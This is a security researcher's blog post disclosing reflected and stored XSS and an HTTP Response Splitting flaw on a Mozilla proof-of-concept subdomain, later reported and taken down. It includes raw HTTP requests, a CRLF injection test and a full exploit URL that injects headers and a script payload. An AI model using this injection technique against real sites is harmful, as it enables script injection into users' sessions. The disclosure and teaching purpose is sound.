[Contribution] Mozilla – HTTP Response Spliting, Reflected & Stored XSS

03
Apr
2017
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: / Contributions / Cryptology / HRS / Opensource / Vulnerabilities, exploits and PoC   /   1 Comment

A subdomain of Mozilla.org has several XSS vulnerabilities and an HTTP Response Splitting vulnerability.

This article illustrates the exploitation of an HRS (HTTP Response Splitting) in order to elevate it in a reflected XSS through a concrete example: Mozilla.

Target description

When searching for vulnerable (sub)-domains as part of a Bug Bounty program, the subdomain dictionary attack phase can be successful. Beyond the known domains / subdomains that can be easily listed and discovered via search engines, dorks, or OSINT tools such as “the harvester“, some subdomains may remain hidden, non-indexed and “unknown”.

This is precisely the case for the subdomain victim of the few vulnerabilities detailed later: chimein.mozilla.org. This domain, which was not indexed to common search engines and was neither “cited” nor “linked” anywhere, was discovered by a subbrute (brute-force of subdomains) by chance.

This domain had a seemingly poor design (understand that it seemed to host a draft web application, or a PoC).

Chimein.mozilla.org

Chimein.mozilla.org

A list of registered users as well as a very basic registration / login form were present: without any frills nor CSS. By entering an arbitrary account in order to register, I was able to register and authenticate myself on this web application of which I had not yet determined its usefulness:

  • Login: ycam
  • Password: ycam
  • Passphrase: ycam

Note: A passphrase in addition to a password? Will I encounter a notion of asymmetric encryption and certificates after registration and authentication?

Once registered and authenticated, the interest of this web application became clear: a form to send messages (encrypted) to other registered members became visible, as well as of course the list of my “own” messages received:

Message form

Message form

The application worked quite well: once registered, a bi-key was generated on the server side and each message sent from one user to another was protected by asymmetric encryption using these certificates coupled with the specified passphrase.

The “very precarious” side of the design and appearance of the application made me think of a proof-of-concept Mozilla, “forgotten” on a subdomain not referenced yet in the beta stage. I love this kind of target (very rare nowadays), on which I ran out my tests.

Few XSS…

The very “simple” and “proof-of-concept” side of the application prompted me to test the server-side processing and clean-up of the user inputs: no sanitization.

The fields were vulnerable to Cross-Site Scripting vulnerabilities.

Reflected XSS

The login field, which was immediately reflected when authenticated in the “logged in as [login]” message, was vulnerable to a standard XSS injection:

Login injection

Login injection

Once authenticated, the reflection was triggered:

Login reflection

Login reflection

But this XSS (Self) was only slightly critical …

Stored XSS encrypted

More interesting: the body of the messages sent to the various recipients was also vulnerable. The messages were encrypted (via the bi-key / passphrase), so the XSS payload was stored encrypted by the application.

XSS payload in body

XSS payload in body

Once received by the user-victim, the user would consult the victim after having indicated the associated passphrase:

Passphrase

Passphrase

And the payload, once deciphered, was triggered …

Stored XSS fired !

Stored XSS fired !

More interesting than the first (Self-) XSS, this encrypted Stored-XSS gained criticality but still required actions of the potential victim (connect, choose the malicious message, indicate the passphrase, etc.).

HTTP Response Splitting

HTTP Response Splitting (HRS) is an injection technique at the headers in response from the server. The principle is to forge / modify the headers of a server response from a client request containing arbitrary data. The OWASP describes this attack like this:

HTTP response splitting occurs when:

  • Data enters a web application through an untrusted source, most frequently an HTTP request.
  • The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header AND the underlying platform must be vulnerable to the injection of such characters. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.

HRS detection

The application operated via an API and several entry-points. For example, to create a new message, the entry-point “/message/create” was used. To list the received messages it was “/message/list” and to consult a message “/message/get” with the ID of the message transmitted in JSON-POST via a query of type:

POST /message/get HTTP/1.1
Host: chimein.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

login=ycam&password=ycam&id=57

The response associated with the ID 57 message was:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 1525
Date: Fri, 21 Oct 2016 00:05:14 GMT
Connection: close

{"id":57,"sender":"ycam","recipient":"ycam","subject":"ycam","subject_signature":"C2sgosxgaKPEqJJwLb5R29A8fqX9wxA30SLqcJzKLkhEDVuAIIZesho736eDtI7GbrjpFBgc9I8E\r\n/PMRAbK6IZF9O9G+kOmy9a/mSPY9L8yiFdwk8CXzW/nvmirx3qelwQ87z3cgrxGe8um7Ntc603h2\r\nWrux3wQrv5JptqEMC1Cj+atQQQ/B6ahv9Q6K2z7wmIViR1mcZuNG9V26PwierLoNNOBDwXmChsPI\r\nKpy/0TgJhkpWj+PO3YIvxy015imeISUgmZyTmOaJAy7/OQzvw5GUAS5nTG/tU79kO7AlhQLTgjlL\r\nE3uKE2jM2ACuwtqZNeSpNTUeyGBLCxHD18vqMw==","body":"O8E+SCVlBZiL8xsg0yEg+K5+jdHKkuQA89z8FpLDekOT3CUa43B/Qw+BxyCTgccngdRp7en7Zi+M\r\nwMgDouqt8f1NGa8hxk4xP0lxN0vsR8dz1DyY2etgtGtSY8ehWDoK","body_signature":"kFLh+gNR1Ow2zuxqRebnYmiB/N2GEYWSFdLdK4dfdM2N5pKJw5eXsfu1YyKkznYEHU1c1z+YF13e\r\nzyWBWtwmSPff+6JFWIHGqYI2RR+qszbAduHwHSniFPkz0gKntc/xOe8GFX62z78pAPJfZ4tLyg8p\r\nLobVsLDjaipcRsy4tC0LWz56zjCWbACKPP9Gwi0VGng2Ny3KYoTSt+6t7GkCWf799ztY8R0WYJ8q\r\nskQAYD5LuHpdadi8+8RDdgYOaepyYPGfjuhJXXsqec9rivk84mkZSa8cAtXgrFF4bnj+F9z8KFgc\r\nvhiVAG71i65AVRbJ6pPR2CKjnnOhSkBjldNIuQ==","session_key":"a3EPAkTnptCVn9FSgmfTkpgzgjQgOGuYLFG+MmtmZjcwAPJjXePxH8/1XWWolhPn1fRmf4j9ybmo\r\nlXYOg4Fj1ss8k2HRcugxridBTkZ53dd0Af0qEHeSsiA1Rsm0d2G76k6qsWzgD55WBc6nuEXiOrzM\r\nTxVPIcT/vLbjTA0hrnzmm/tiyq31YPVOYq3Di95urw38DFJIRPKiP/cJ0GoWkUrcB6OK8lCfvx0K\r\nWsS+PpAB/c1xBUoG0TmFKZRkCXx8toykvz7cqC6hwZHbWRj4A5cLbnIrYdIXZ+2AkjhwcNzqWHQb\r\nHHm1wN6fkalHKXW7+wM2ctioB1JaE3gYE7WmGA==","session_key_iv":"zOtfAHFpmaW+hm2xcJhPxw==","status":"read","sent_date":"2016-10-20T23:05:30.009Z","retrieved_date":"2016-10-20T23:06:45.811Z","read_date":"2016-10-20T23:06:48.066Z"}

We note the presence of several cryptographic features in this response, including signature, IV, key, etc. Inducing that the decryption was done on the client side.

GET message ID

GET message ID

When attempting to inject a non-existent or badly formatted ID, the server would return an error code 500 with the ID in question reflected in the error code message:

HTTP/1.1 500 message xxx does not exist
Date: Fri, 21 Oct 2016 00:07:11 GMT
Connection: close
Content-Length: 0
ID reflection in header

ID reflection in header

From this reflection, we test the injection of the traditional \r\n url-encoded, namely %0a%0d:

POST /message/get HTTP/1.1
Host: chimein.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

login=ycam&password=ycam&id=xxx%0a%0dyyy%0a%0dzzz%0a%0d

Response:

HTTP/1.1 500 message xxx
yyy
zzz
 does not exist
Date: Fri, 21 Oct 2016 00:08:40 GMT
Connection: close
Content-Length: 0
HTTP Response Splitting delected

HTTP Response Splitting delected

Bingo! Our arbitrary headers are present in the server response!

Exploitation

Via this confirmed HRS allowing us to inject and generate arbitrary headers in the response of the server, the idea will be to create our own HTML response that will be interpreted in the browser (we generate our own XSS).

To achieve this, we need several headers to inject as well as content (the XSS), for example:

  • Header Content-Type: text / html
  • Header Content-Length: [LENGTH]
  • A duplicate \r\n\r\n followed by the “source code” HTML / JS of our choice
  • Opening an HTML comment <!– to comment on all remaining content (headers and body) of the legitimate response

Note: the parameters were interpreted both in POST and GET.

This resulted in the following injection:

https://chimein.mozilla.org/message/get?login=ycam&password=ycam&id=x%0a%0dContent-Length: 100%0a%0dContent-Type: text/html%0a%0d%0a%0d<html><body><script>alert(document.domain)</script></body></html><!--
HRS to XSS

HRS to XSS

XSS fired! We exploited HTTP Response Splitting to raise the header injection to produce an XSS. It is triggered as soon as the page is loaded.

“Correction” and conclusion

Following the discovery of these various vulnerabilities targeting different entry points of the application, two tickets on the BugZilla Security / Bug Bounty of Mozilla were opened:

This domain, unfortunately not one of those eligible for the bounty of Mozilla, was detached from the DNS entry “chimein.mozilla.org” and was therefore no longer attached to the Mozilla project within 24 hours.

A few weeks / months later, this Secure Messaging PoC was no longer accessible at all (even via the server’s IP).

The vulnerabilities have therefore not been corrected (it was only a PoC after all), the subdomain was simply deleted preventing new access. It is a drastic method, certainly, but functional to mitigate the vulnerabilities :)!

In any case, I encourage all bug-hunters to scan non-referenced subdomains via tools like subbrute, in order to explore other perimeters that have certainly not yet been analyzed!

I thank Mozilla security teams for their friendliness, professionalism, both for the exchanges through tickets and via emails.

Thanks for the Hall of Fame too! 🙂

Mozilla Hall of Fame

Mozilla Hall of Fame

Sources & ressources :

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.